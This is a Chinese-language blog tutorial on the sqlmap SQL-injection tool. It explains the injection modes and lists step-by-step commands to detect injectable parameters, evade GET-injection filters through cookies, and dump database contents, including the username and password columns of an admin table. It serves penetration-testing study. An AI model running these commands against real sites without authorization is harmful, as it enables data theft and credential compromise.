sqlmap使用(数据库渗透测试工具,用于sql注入)

原文来自:http://www.7xdown.com/downinfo/103270.html

 

1、sqlmap安装

先安装python,python版本限制在2.6-3.0之间

然后安装sqlmap,在官网https://sqlmap.org/下载安装包,解压即可。

(ps:如果电脑已存在python更高版本,无需卸载python,只需重新安装一个python2.6-3.0版本,将sqlmap目录放到新安装的python目录下即可。)

2、sqlmap介绍

sqlmap是一款开源的渗透测试工具,能够自动检测和利用SQL注入漏洞以及接入该数据库的服务器。

支持5种注入模式:可联合查询注入、报错型注入、布尔型注入、基于时间延迟注入、可多语句查询注入。

可联合查询注入:即可以使用union的情况下的注入。

报错型注入:即页面会返回错误信息,或者把注入的语句直接返回在页面中。

布尔型注入:即可以根据返回页面判断条件真假的注入。

基于时间延迟注入:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

可多语句查询注入:即可以同时执行多条语句的执行时的注入。

3、sqlmap常用命令:
sqlmap -u [“url”] --dbs #获取数据库
sqlmap -u [“url”] --current-user #获取当前用户名称
sqlmap -u [“url”] --current-db #获取当前数据库名称
sqlmap -u [“url”] -D [‘数据库名’] --tables #列出表名
sqlmap -u [“url”] -D [‘数据库名’] -T[‘表名’] --columns #列出字段
sqlmap -u [“url”] -D [‘数据库名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dump #获取字段内容

4、sqlmap使用教程

【检测注入】
sqlmap -u “http://www.vuln.cn/post.php?id=1”
默认使用level1检测全部数据库类型
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
【cookie注入】
当程序有防get注入的时候,可以使用cookie注入
sqlmap -u “http://www.xxx.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)
【从post数据包中注入】
可以使用burpsuite或者temperdata等工具来抓取post包
sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql指定username参数
【获取数据库基本信息】
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs
查询有哪些数据库
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables
查询test数据库中有哪些表
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns
查询test数据库中admin表有哪些字段
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dump
dump出字段username与password中的数据

5、sqlmap注入步骤:

1)对url进行检测,判断是否存在SQL注入
python sqlmap.py -u --batch
假设跑完以后发现存在注入,参数是username注入类型为盲注,数据库是mysql,后端语言是jsp
2)获取数据库
python sqlmap.py -u URL --dbs --batch获取全部数据库
python sqlmap.py -u URL --current-db --batch获取当前数据库
假设获取到了当前的数据库为 wavsepDB
3)获取当前数据库里所有表
python sqlmap.py -u URL -D wavsepDB --tables --batch
4)获取表的字段
python sqlmap.py -u URL -D wavsepDB -T users --columns --batch
如图获取到上面字段以后,我们就开始dump字段内容了。
5)dump字段内容
python sqlmap.py -u URL -D wavsepDB -T users -C password,username --dump --batch
如果字段内容多的话可以再加上如 --start 1 --stop 100 这样就取1-100条数据
--dump 可以换成 --dump-all则导出全部的内容

posted @ 2022-05-19 16:57  旅+  阅读(1665)  评论(0编辑  收藏  举报